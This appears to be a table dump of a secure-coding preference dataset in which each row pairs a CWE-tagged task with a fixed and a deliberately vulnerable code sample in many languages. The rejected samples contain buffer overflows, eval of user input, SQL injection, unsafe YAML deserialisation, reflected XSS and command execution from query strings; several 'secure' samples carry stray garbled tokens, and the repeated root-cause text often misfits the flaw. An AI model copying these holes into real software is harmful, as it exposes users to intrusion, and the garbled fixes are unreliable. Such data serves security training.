id large_stringlengths 18 18 | category large_stringclasses 6
values | cwe_or_mitre large_stringclasses 221
values | instruction large_stringlengths 40 828 | compressed_think large_stringlengths 250 426 | response large_stringlengths 67 170k | chosen large_stringlengths 511 171k | rejected large_stringlengths 0 8k | chosen_token_count int64 129 60.4k | token_saving_ratio float64 0.12 11.1 |
|---|---|---|---|---|---|---|---|---|---|
cyber_95dbc02605b9 | vulnerability_research_cve | CWE-787 | Write a c++ code that defines a function named 'copyString' which takes two character pointers as arguments. The first pointer points to the source string and the second one points to the destination string. This function should copy the content of the source string into the destination string. In the main function, de... | Target: c++ implementation for Write a c++ code that defines a function named 'copyString' which take.
Vulnerability Vector: Improper memory management in C++ can lead to buffer overflow vulnerabilities. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c++
#include <cstring>
void copyString(char* dest, const char* src) {
while ((*dest++ = *src++) != '\0');
}
int main() {
char source[10] = "Hello!";
char destination[10]; // Make sure the destination array is large enough to hold the source string
copyString(destination, source);
return 0;
}
``... | <think>
Target: c++ implementation for Write a c++ code that defines a function named 'copyString' which take.
Vulnerability Vector: Improper memory management in C++ can lead to buffer overflow vulnerabilities. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c++
#include <cstring>
void copyString(char* dest, const char* src) {
while (*src != '\0') {
*dest = *src;
dest++;妆;
src++;
}
}
int main() {
char source[10] = "Hello!";
char destination[5];
copyString(destination, source);
return 0;
}
``` | 211 | 0.85 |
cyber_a65e566ff85f | vulnerability_research_cve | CWE-20 | Write a python code that takes user input as Python code and executes it using the built-in `eval()` function. The executed code should be sanitized to prevent arbitrary code execution. | Target: python implementation for Write a python code that takes user input as Python code and executes .
Vulnerability Vector: Python's built-in function `eval()` can lead to arbitrary code execution if used (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import ast
class RestrictedPython(ast.NodeTransformer):
"""
AST NodeTransformer that restricts the allowed Python features.
"""
def visit_Call(self, node):
# Only allow calls to len, str, range, list, dict, tuple, set, frozenset, print, type, id, sorted, reversed, enumerate, abs, all,... | <think>
Target: python implementation for Write a python code that takes user input as Python code and executes .
Vulnerability Vector: Python's built-in function `eval()` can lead to arbitrary code execution if used (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import os
def evaluate_input(user_input):
# This function uses eval() to evaluate the user input as Python code.
# If the user input is not properly sanitized, it can lead to arbitrary code execution.
return eval(user_input)
def main():
user_input = input("Enter some Python code to execute: ... | 685 | 0.28 |
cyber_b17599b8ac1c | vulnerability_research_cve | CWE-476 | Write a java code that connects to a MySQL database, executes a SELECT query on the 'users' table where the 'username' is 'testUser', and prints out the usernames retrieved from the query. | Target: java implementation for Write a java code that connects to a MySQL database, executes a SELECT.
Vulnerability Vector: Improper null check on database results can lead to NullPointerException. (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strat... | ```java
import java.sql.*;
public class Main {
public static void main(String[] args) {
Connection conn = null;
PreparedStatement stmt = null;
ResultSet rs = null;
try {
// Assume we have a database connection
conn = DriverManager.getConnection("jdbc:mysql://... | <think>
Target: java implementation for Write a java code that connects to a MySQL database, executes a SELECT.
Vulnerability Vector: Improper null check on database results can lead to NullPointerException. (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```java
import java.sql.*;
public class Main {
public static void main(String[] args) {
Connection conn = null;
PreparedStatement stmt = null;
ResultSet rs = null;
try {
// Assume we have a database connection
conn = DriverManager.getConnection("jdbc:mysql://... | 407 | 0.87 |
cyber_96034cb4ddd6 | vulnerability_research_cve | CWE-20 | Write a javascript code that takes a string input from a user and evaluates it using the eval() function. The string should be an alert message saying 'Hello, World'. | Target: javascript implementation for Write a javascript code that takes a string input from a user and eval.
Vulnerability Vector: The use of eval() function can lead to code injection attacks if not used proper (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
let userInput = "Hello, World";
alert(userInput);
``` | <think>
Target: javascript implementation for Write a javascript code that takes a string input from a user and eval.
Vulnerability Vector: The use of eval() function can lead to code injection attacks if not used proper (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
let userInput = "alert('Hello, World');";
eval(userInput);
``` | 129 | 0.75 |
cyber_9b1d3d16ca5a | vulnerability_research_cve | CWE-787 | Write a c# code that contains a class named 'VulnerableClass' and inside this class, create a method named 'UnsafeMethod'. This method should take a string parameter named 'userInput'. Inside this method, create an array of characters named 'buffer' with a size of 10. Then, iterate over each character in the 'userInput... | Target: c# implementation for Write a c# code that contains a class named 'VulnerableClass' and insi.
Vulnerability Vector: A possible vulnerability in C# code could be a buffer overflow if unchecked inpu (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
using System;
public class SecureOptimizedClass
{
public void SafeMethod(string userInput)
{
// Check if the userInput length is greater than the buffer size
if (userInput.Length > 10)
{
throw new ArgumentException("Input string is too long.");
}
... | <think>
Target: c# implementation for Write a c# code that contains a class named 'VulnerableClass' and insi.
Vulnerability Vector: A possible vulnerability in C# code could be a buffer overflow if unchecked inpu (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c#
public class VulnerableClass
{
public void UnsafeMethod(string userInput)
{
char[] buffer = new char[10];
for (int i = 0; i < userInput.Length; i++)
{
buffer[i] = userInput[i];
}
}
}
``` | 255 | 0.62 |
cyber_9f6d08b64ebb | vulnerability_research_cve | CWE-89 | Write a php code that connects to a MySQL database and fetches data from a table named 'users' where the username and password match those provided in the URL parameters. | Target: php implementation for Write a php code that connects to a MySQL database and fetches data fr.
Vulnerability Vector: Improper Input Validation and Sanitization in PHP can lead to SQL Injection (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strat... | ```php
<?php
$db = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
$username = $_GET['username'];
$password = $_GET['password'];
// Prepare our SQL, preparing the SQL statement removes the risk of SQL injection.
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username AND password = :password")... | <think>
Target: php implementation for Write a php code that connects to a MySQL database and fetches data fr.
Vulnerability Vector: Improper Input Validation and Sanitization in PHP can lead to SQL Injection (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```php
<?php
$db = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
$username = $_GET['username'];
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
foreach ($db->query($sql) as $row) {
print_r($row);
}
?>
``` | 281 | 0.62 |
cyber_51ad31b0e029 | vulnerability_research_cve | CWE-20 | Write a ruby code that defines a method named 'validate_input' which takes an input string. The method should check if the input string is exactly 10 digits long. If it is, print 'Valid Input'. Otherwise, print 'Invalid Input'. | Target: ruby implementation for Write a ruby code that defines a method named 'validate_input' which t.
Vulnerability Vector: In Ruby, it's possible to create a vulnerability through the use of regular expr (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
def validate_input(input)
if input.is_a?(String) && input.length == 10 && input == input.to_i.to_s
puts "Valid Input"
else
puts "Invalid Input"ivalid Input"
end
end
# Testing with valid input
validate_input("1234567890") # Valid Input
# Testing with invalid input
validate_input("1234567890123456... | <think>
Target: ruby implementation for Write a ruby code that defines a method named 'validate_input' which t.
Vulnerability Vector: In Ruby, it's possible to create a vulnerability through the use of regular expr (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
def validate_input(input)
if input =~ /^\d{10}$/
puts "Valid Input"
else
puts "Invalid Input"
end
end
# Testing with valid input
validate_input("1234567890") # Valid Input
# Testing with invalid input
validate_input("12345678901234567890") # Invalid Input
``` | 245 | 0.76 |
cyber_52652ab7997d | vulnerability_research_cve | CWE-787 | Write a swift code that defines a function named 'vulnerableFunction' which takes a string as an argument. This function should take a substring from the input string starting from the 6th character and ending at the 5th character from the end of the string. It should then return this substring. | Target: swift implementation for Write a swift code that defines a function named 'vulnerableFunction' .
Vulnerability Vector: Potential buffer overflow vulnerability due to incorrect handling of string slic (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func secureFunction(input: String) -> String? {
guard let startIndex = input.index(input.startIndex, offsetBy: 5, limitedBy: input.endIndex),
let endIndex = input.index(input.endIndex, offsetBy: -5, limitedBy: input.startIndex) else {
return nil
}
let result = i... | <think>
Target: swift implementation for Write a swift code that defines a function named 'vulnerableFunction' .
Vulnerability Vector: Potential buffer overflow vulnerability due to incorrect handling of string slic (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
func vulnerableFunction(input: String) -> String {
let startIndex = input.index(input.startIndex, offsetBy: 5)
let endIndex = input.index(input.endIndex, offsetBy: -5)
let result = input[startIndex..<endIndex]
return String(result)
}
let testInput = "This is a test input str... | 273 | 0.71 |
cyber_bb1742cee6bc | vulnerability_research_cve | CWE-134 | Write a go code that asks for a user's name and then prints a greeting message using that name. | Target: go implementation for Write a go code that asks for a user's name and then prints a greeting.
Vulnerability Vector: In the Go programming language, a possible vulnerable function is 'fmt.Printf' w (CWE-134).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"bufio"
"fmt"
"os"
"strings"
)
func main() {
reader := bufio.NewReader(os.Stdin)
fmt.Print("Enter your name: ")
name, _ := reader.ReadString('\n')
// Trim newline character from the input
name = strings.TrimSuffix(name, "\n")
fmt.Printf("Hello, %s!\n", name)
}
``` | <think>
Target: go implementation for Write a go code that asks for a user's name and then prints a greeting.
Vulnerability Vector: In the Go programming language, a possible vulnerable function is 'fmt.Printf' w (CWE-134).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"os"
)
func main() {
var name string
fmt.Println("Enter your name:")
fmt.Scanf("%s", &name)
fmt.Printf("Hello, %s!\n", name)
}
``` | 237 | 0.62 |
cyber_d99d8a95cf2a | vulnerability_research_cve | CWE-20 | Write a kotlin code that creates a class 'Animal' with a property 'name'. Then create two subclasses 'Dog' and 'Cat' which inherit from 'Animal'. In the main function, create an object of 'Dog' and cast it to 'Dog' type. Finally, print the name of the dog. | Target: kotlin implementation for Write a kotlin code that creates a class 'Animal' with a property 'nam.
Vulnerability Vector: The use of unsafe implicit casting in Kotlin can lead to ClassCastException at r (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
open class Animal(val name: String)
class Dog(name: String) : Animal(name)
class Cat(name: String) : Animal(name)
fun main() {
val animal: Animal = Dog("Dog")
if (animal is Dog) {
val dog = animal as Dog
println(dog.name)
} else {
println("Error: Animal is not a Dog")
... | <think>
Target: kotlin implementation for Write a kotlin code that creates a class 'Animal' with a property 'nam.
Vulnerability Vector: The use of unsafe implicit casting in Kotlin can lead to ClassCastException at r (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
open class Animal(val name: String)
class Dog(name: String) : Animal(name)
class Cat(name: String) : Animal(name)
fun main() {
val animal = Dog("Dog")
val dog = animal as Dog
println(dog.name)
}
``` | 223 | 0.68 |
cyber_6985d3829cdf | vulnerability_research_cve | CWE-787 | Write a fortran code that asks for a user's surname and then prints a greeting message using the user's surname. | Target: fortran implementation for Write a fortran code that asks for a user's surname and then prints a .
Vulnerability Vector: In Fortran, there might be a potential buffer overflow vulnerability if the leng (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=100) :: surname
print *, "Enter your surname:"
read(*,'(A)') surname
print *, "Hello, " // trim(surname) // "!"
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that asks for a user's surname and then prints a .
Vulnerability Vector: In Fortran, there might be a potential buffer overflow vulnerability if the leng (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program main
implicit none
character(len=5) :: surname
print *, "Enter your surname:"
read *, surname
print *, "Hello, " // surname // "!"
end program main
``` | 182 | 0.72 |
cyber_10a01ffe589b | vulnerability_research_cve | CWE-787 | Write a c++ code that includes iostream and string.h libraries. Define a function named 'func' that takes a character pointer as an argument. Inside the function, declare a character array 'buffer' of size 10. Copy the content of the input character pointer into the buffer using the strcpy function. In the main functio... | Target: c++ implementation for Write a c++ code that includes iostream and string.h libraries. Define.
Vulnerability Vector: Inadequate memory management can lead to buffer overflows, allowing attackers to (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <cstring> // Use cstring instead of string.h
// Avoid using namespace std for better control over what you use
void func(const char* input) { // const char* input means we don't modify the input
char buffer[20]; // Increase buffer size to avoid overflow
std::strncpy(buffer,... | <think>
Target: c++ implementation for Write a c++ code that includes iostream and string.h libraries. Define.
Vulnerability Vector: Inadequate memory management can lead to buffer overflows, allowing attackers to (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <iostream>
#include <string.h>
void func(char* input) {
char buffer[10];
strcpy(buffer, input);
}
int main() {
char large_input[20] = "This is a large input";
func(large_input);
return 0;
}
``` | 291 | 0.56 |
cyber_26bd3fd8b758 | vulnerability_research_cve | CWE-20 | Write a python code that creates a web server using Flask framework. The server should have an endpoint '/evaluate' which accepts POST requests. When a POST request is received, it should take the JSON data from the request, extract the 'expression' field, evaluate it using Python's built-in eval function and return th... | Target: python implementation for Write a python code that creates a web server using Flask framework. T.
Vulnerability Vector: The use of 'eval' function in Python can lead to arbitrary code execution, parti (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
from flask import Flask, request, jsonify
import ast
app = Flask(__name__)
class MathNodeVisitor(ast.NodeVisitor):
def visit_Num(self, node):
raise ValueError("Unsupported operation")
def visit_Str(self, node):
raise ValueError("Unsupported operation")
def visit_NameConstant(se... | <think>
Target: python implementation for Write a python code that creates a web server using Flask framework. T.
Vulnerability Vector: The use of 'eval' function in Python can lead to arbitrary code execution, parti (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import flask
app = flask.Flask(__name__)
@app.route('/evaluate', methods=['POST'])
def evaluate():
data = flask.request.json
result = eval(data['expression'])
return str(result)
if __name__ == "__main__":
app.run()
``` | 469 | 0.33 |
cyber_e66462bf0f51 | vulnerability_research_cve | CWE-78 | Write a java code that connects to a MySQL database, executes a SELECT query on the 'users' table, and prints out the 'username' field from each record in the result set. | Target: java implementation for Write a java code that connects to a MySQL database, executes a SELECT.
Vulnerability Vector: Inadequate use of exception handling can lead to resource leaks in Java applicat (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.sql.*;
public class Main {
public static void main(String[] args) {
String url = "jdbc:mysql://localhost/testdb";
String user = "username";
String password = "password";
try (Connection conn = DriverManager.getConnection(url, user, password);
Statem... | <think>
Target: java implementation for Write a java code that connects to a MySQL database, executes a SELECT.
Vulnerability Vector: Inadequate use of exception handling can lead to resource leaks in Java applicat (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.sql.*;
public class Main {
public static void main(String[] args) {
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;
try {
Class.forName("com.mysql.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhos... | 281 | 1.44 |
cyber_c5a1da9e2e4a | vulnerability_research_cve | CWE-20 | Write a javascript code that creates a string variable named 'evalInput' and assigns it the value of an alert message. Then, use the 'eval()' function to execute the content of 'evalInput'. | Target: javascript implementation for Write a javascript code that creates a string variable named 'evalInpu.
Vulnerability Vector: Incorrect use of 'eval' function can lead to code injection attacks if the input (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
var evalInput = "alert('This is an alert box');";
new Function(evalInput)();
``` | <think>
Target: javascript implementation for Write a javascript code that creates a string variable named 'evalInpu.
Vulnerability Vector: Incorrect use of 'eval' function can lead to code injection attacks if the input (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
var evalInput = "alert('This is an alert box');";
eval(evalInput);
``` | 137 | 0.72 |
cyber_1fe95da62a6a | vulnerability_research_cve | CWE-787 | Write a c# code that asks the user to enter their name, converts the input into an array of characters, stores each character in a new array of size 10, and then prints out the secret message formed from the array. | Target: c# implementation for Write a c# code that asks the user to enter their name, converts the i.
Vulnerability Vector: There is a potential buffer overflow vulnerability due to unsafe string function (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
using System;
public class SecureClass
{
public static void Main(string[] args)
{
Console.WriteLine("Enter your name:");
string userInput = Console.ReadLine();
if (userInput.Length > 10)
{
userInput = userInput.Substring(0, 10);
}
char[] userInp... | <think>
Target: c# implementation for Write a c# code that asks the user to enter their name, converts the i.
Vulnerability Vector: There is a potential buffer overflow vulnerability due to unsafe string function (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c#
public class VulnerableClass
{
public static void Main(string[] args)
{
Console.WriteLine("Enter your name:");
string userInput = Console.ReadLine();
char[] userInputArray = userInput.ToCharArray();
char[] secretArray = new char[10];
for (int i = 0; i <= userInputAr... | 306 | 0.74 |
cyber_fbd6127e0dc5 | vulnerability_research_cve | CWE-89 | Write a php code that connects to a MySQL database, retrieves user data from the 'users' table based on a GET request's 'username' and 'password', and then checks if the inputted credentials match any existing user in the database. If they do, it welcomes the user by their username. If not, it informs the user that the... | Target: php implementation for Write a php code that connects to a MySQL database, retrieves user dat.
Vulnerability Vector: In PHP, an unsanitized user input could lead to SQL injection attacks if it's us (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$host = "localhost";
$db = "test_db";
$user = "root";
$pass = "password";
$conn = new mysqli($host, $user, $pass, $db);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error); Hawk: It's good practice to handle connection errors properly.
}
$username = $conn->real_escape_str... | <think>
Target: php implementation for Write a php code that connects to a MySQL database, retrieves user dat.
Vulnerability Vector: In PHP, an unsanitized user input could lead to SQL injection attacks if it's us (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$host = "localhost";
$db = "test_db";
$user = "root";
$pass = "password";
$conn = new mysqli($host, $user, $pass, $db);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$username = $_GET['username'];
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE ... | 355 | 0.8 |
cyber_bda748618dd7 | vulnerability_research_cve | CWE-502 | Write a ruby code that creates a class named User, which has an attribute accessor for name. Initialize an instance of User with name 'Alice'. Serialize the instance using YAML::dump and store it in serialized_user. Then deserialize the serialized_user back into an object using YAML::load and store it in deserialized_u... | Target: ruby implementation for Write a ruby code that creates a class named User, which has an attrib.
Vulnerability Vector: Ruby's YAML library may lead to arbitrary code execution if it's deserializing u (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```ruby
require 'yaml'
class User
attr_accessor :name
def initialize(name)
@name = name
end
end
user = User.new("Alice")
serialized_user = YAML::dump(user)
# Fixing the vulnerability by not deserializing untrusted data
begin
deserialized_user = YAML::load(serialized_user)
puts deserialized_user.name
r... | <think>
Target: ruby implementation for Write a ruby code that creates a class named User, which has an attrib.
Vulnerability Vector: Ruby's YAML library may lead to arbitrary code execution if it's deserializing u (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```ruby
require 'yaml'
class User
attr_accessor :name
def initialize(name)
@name = name
end
end
user = User.new("Alice")
serialized_user = YAML::dump(user)
# Vulnerability: Deserialize untrusted data
deserialized_user = YAML::load(serialized_user)
puts deserialized_user.name
# This will print "Alice"
``` | 262 | 0.73 |
cyber_f6bdfe82c17e | vulnerability_research_cve | CWE-476 | Write a swift code that defines a class 'Vehicle' with properties 'make' and 'model'. Define another class 'Car' which inherits from 'Vehicle' and adds an additional property 'color'. Define a function 'printCarDetails' that takes an optional 'Car' object as a parameter. If the car object is not nil, print its 'make', ... | Target: swift implementation for Write a swift code that defines a class 'Vehicle' with properties 'mak.
Vulnerability Vector: Swift's optional type can lead to null pointer exceptions if not handled properl (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
class Vehicle {
var make: String?
var model: String?
}
class Car: Vehicle {
var color: String?
}
func printCarDetails(car: Car?) {
guard let car = car,
let make = car.make,
let model = car.model,
let color = car.color else { return }
p... | <think>
Target: swift implementation for Write a swift code that defines a class 'Vehicle' with properties 'mak.
Vulnerability Vector: Swift's optional type can lead to null pointer exceptions if not handled properl (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
class Vehicle {
var make: String?
var model: String?
}
class Car: Vehicle {
var color: String?
}
func printCarDetails(car: Car?) {
guard let car = car else { return }
guard let make = car.make else { return }
guard let model = car.model else { return }
guard let... | 251 | 0.9 |
cyber_b36f648919e3 | vulnerability_research_cve | CWE-20 | Write a go code that imports necessary packages. Define a function named 'someFunction' which returns an error. In the main function, call 'someFunction' and if an error occurs, print the error message. | Target: go implementation for Write a go code that imports necessary packages. Define a function nam.
Vulnerability Vector: Improper error handling in Go can lead to sensitive information disclosure throu (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"errors"
)
func main() {
err := someFunction()
if err != nil {
fmt.Println(err)archar;
}
}
func someFunction() error {
return errors.New("Some error occurred")
}
``` | <think>
Target: go implementation for Write a go code that imports necessary packages. Define a function nam.
Vulnerability Vector: Improper error handling in Go can lead to sensitive information disclosure throu (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"errors"
"fmt"
)
func main() {
_, err := someFunction()
if err != nil {
fmt.Println(err)
}
}
func someFunction() (string, error) {
return "", errors.New("Some error occurred")
}
``` | 185 | 0.85 |
cyber_7842cdef4aca | vulnerability_research_cve | CWE-476 | Write a kotlin code that creates a User object named John Doe and prints out his/her name. If the User object is null, it will throw a NullPointerException. | Target: kotlin implementation for Write a kotlin code that creates a User object named John Doe and prin.
Vulnerability Vector: NullPointerException due to null values being passed to functions without proper (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
fun main(args: Array<String>) {
val user = User("John", "Doe")
printUserName(user)
}
fun printUserName(user: User?) {
if (user != null) {
println(user.name)
} else {
println("User is null")
}
}
data class User(val name: String, val surname: String)
``` | <think>
Target: kotlin implementation for Write a kotlin code that creates a User object named John Doe and prin.
Vulnerability Vector: NullPointerException due to null values being passed to functions without proper (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
fun main(args: Array<String>) {
val user = User("John", "Doe")
printUserName(user)
}
fun printUserName(user: User?) {
println(user.name) // This will cause a NullPointerException if user is null
}
data class User(val name: String, val surname: String)
``` | 215 | 0.77 |
cyber_65bb12be519c | vulnerability_research_cve | CWE-20 | Write a fortran code that prints numbers from 0 to 9 using a goto statement. | Target: fortran implementation for Write a fortran code that prints numbers from 0 to 9 using a goto stat.
Vulnerability Vector: The 'GOTO' statement in Fortran can lead to code that is hard to maintain and un (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
PROGRAM OPTIMIZED_PROGRAM
INTEGER :: I
DO I=0, 9
PRINT *, "I is", I
END DO
END PROGRAM OPTIMIZED_PROGRAM
``` | <think>
Target: fortran implementation for Write a fortran code that prints numbers from 0 to 9 using a goto stat.
Vulnerability Vector: The 'GOTO' statement in Fortran can lead to code that is hard to maintain and un (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```fortran
PROGRAM VULNERABLE_PROGRAM
INTEGER :: I = 0
GOTO 10
9 PRINT *, "I is", I
I = I + 1
IF (I < 10) THEN
GOTO 9
END IF
10 GOTO 9
END PROGRAM VULNERABLE_PROGRAM
``` | 180 | 0.97 |
cyber_2a06a7e54634 | vulnerability_research_cve | CWE-787 | Write a c++ code that includes iostream and string.h libraries. Define a function named 'copyString' that takes two parameters, a character pointer 'dest' and a constant character pointer 'src'. This function should use the strcpy function from the string.h library to copy the content of 'src' into 'dest'. In the main ... | Target: c++ implementation for Write a c++ code that includes iostream and string.h libraries. Define.
Vulnerability Vector: Buffer overflow vulnerability in C++ can occur when a programmer fails to proper (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <cstring>
void copyString(char* dest, const char* src, size_t destSize) {
strncpy(dest, src, destSize - 1); // Avoid buffer overflow
dest[destSize - 1] = '\0'; // Ensure null termination
}
int main() {
constexpr size_t bufferSize = 10;
char buffer[bufferSize];
c... | <think>
Target: c++ implementation for Write a c++ code that includes iostream and string.h libraries. Define.
Vulnerability Vector: Buffer overflow vulnerability in C++ can occur when a programmer fails to proper (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <iostream>
#include <string.h>
void copyString(char* dest, const char* src) {
strcpy(dest, src);
}
int main() {
char buffer[10];
const char* source = "This is a long string that will cause a buffer overflow!";
copyString(buffer, source);
std::cout << "Copied string: " << buffer << ... | 281 | 0.68 |
cyber_93f440e3134b | vulnerability_research_cve | CWE-20 | Write a python code that imports the os module and defines a function 'run_command' which takes user input, evaluates it into a command using the eval function, and then executes that command using the os.system function. The function should be called with user input taken from the console. | Target: python implementation for Write a python code that imports the os module and defines a function .
Vulnerability Vector: Python's eval() function can lead to arbitrary code execution if used improperly (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import subprocess
def run_command(user_input):
command = user_input.split()
subprocess.run(command, shell=False)
run_command(input("Enter a command: "))
``` | <think>
Target: python implementation for Write a python code that imports the os module and defines a function .
Vulnerability Vector: Python's eval() function can lead to arbitrary code execution if used improperly (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import os
def run_command(user_input):
command = eval(user_input)
os.system(command)
run_command(input("Enter a command: "))
``` | 161 | 0.76 |
cyber_adf5b9be79c2 | vulnerability_research_cve | CWE-476 | Write a java code that declares a string variable named 'str' and assigns it a null value. Then, print the length of 'str'. The code should be placed in a class named 'Main', and the main method should be declared as public static void main(String[] args). | Target: java implementation for Write a java code that declares a string variable named 'str' and assi.
Vulnerability Vector: NullPointerException is a common runtime exception that occurs when a null refer (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
public class Main {
public static void main(String[] args) {
String str = null;
if (str != null) {
System.out.println(str.length());
} else {
System.out.println("The string is null!");
}
}
}
``` | <think>
Target: java implementation for Write a java code that declares a string variable named 'str' and assi.
Vulnerability Vector: NullPointerException is a common runtime exception that occurs when a null refer (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```java
public class Main {
public static void main(String[] args) {
String str = null;
System.out.println(str.length());
}
}
``` | 182 | 0.64 |
cyber_92a9c8327d4b | vulnerability_research_cve | CWE-79 | Write a javascript code that creates an HTTP server that listens on port 8080. When a request comes in, parse the URL and extract the 'message' query parameter. Then send back an HTML response with a greeting and the message received from the query parameter. | Target: javascript implementation for Write a javascript code that creates an HTTP server that listens on po.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities can occur when user input is not prop (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
const http = require('http');
const url = require('url');
http.createServer((req, res) => {
const queryObject = url.parse(req.url, true).query;
let message = queryObject.message ? encodeURIComponent(queryObject.message) : '';
res.writeHead(200, {'Content-Type': 'text/html'}); fulfill the XSS vulne... | <think>
Target: javascript implementation for Write a javascript code that creates an HTTP server that listens on po.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities can occur when user input is not prop (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
const http = require('http');
const url = require('url');
http.createServer((req, res) => {
const queryObject = url.parse(req.url, true).query;
let message = queryObject.message;
res.writeHead(200, {'Content-Type': 'text/html'});
res.write("<h1>Hello User</h1>");
res.write("<p>" + message + "<... | 263 | 0.78 |
cyber_58679149db7f | vulnerability_research_cve | CWE-78 | Write a c# code that starts a process based on user input from the query string. The process name is obtained from the 'userInput' parameter in the query string. | Target: c# implementation for Write a c# code that starts a process based on user input from the que.
Vulnerability Vector: Improper validation and sanitization of user input can lead to Remote Code Execu (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Diagnostics;
using System.IO;
using System.Web;
public partial class _Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string userInput = Server.UrlDecode(Request.QueryString["userInput"]);
Response.Write("<br><br>User Input... | <think>
Target: c# implementation for Write a c# code that starts a process based on user input from the que.
Vulnerability Vector: Improper validation and sanitization of user input can lead to Remote Code Execu (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class _Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string userInput = Request.QueryString["userInput"];
Response.Write("<br><br... | 327 | 0.65 |
